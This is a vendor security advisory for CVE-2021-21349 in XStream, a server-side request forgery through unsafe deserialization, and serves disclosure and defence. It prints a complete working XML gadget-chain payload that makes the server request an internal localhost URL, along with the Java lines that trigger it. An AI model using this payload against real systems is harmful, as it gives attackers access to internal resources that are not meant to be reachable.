<h1 class="FirstChild">CVE-2021-21349</h1>
<h2 id="vulnerability">Vulnerability</h2>
<p>CVE-2021-21349: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams
from an arbitrary URL referencing a resource in an intranet or the local host.</p>
<h2 id="affected_versions">Affected Versions</h2>
<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist limited to the minimal required types.</p>
<h2 id="description">Description</h2>
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in a server-side forgery request.</p>
<h2 id="reproduction">Steps to Reproduce</h2>
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'>
<configs class='sun.misc.FIFOQueueEnumerator'>
<queue>
<length>1</length>
<head>
<obj class='url'>http://localhost:8080/internal/</obj>
</head>
<tail reference='../head'/>
</queue>
<cursor reference='../queue/head'/>
</configs>
<returned class='sorted-set'/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
<p>As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.</p>
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability may allow a remote attacker to request data from internal resources that are not publicly
available only by manipulating the processed input stream.</p>
<h2 id="workarounds">Workarounds</h2>
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
<h2 id="credits">Credits</h2>
<p>The vulnerability was discovered and reported by threedr3am.</p>
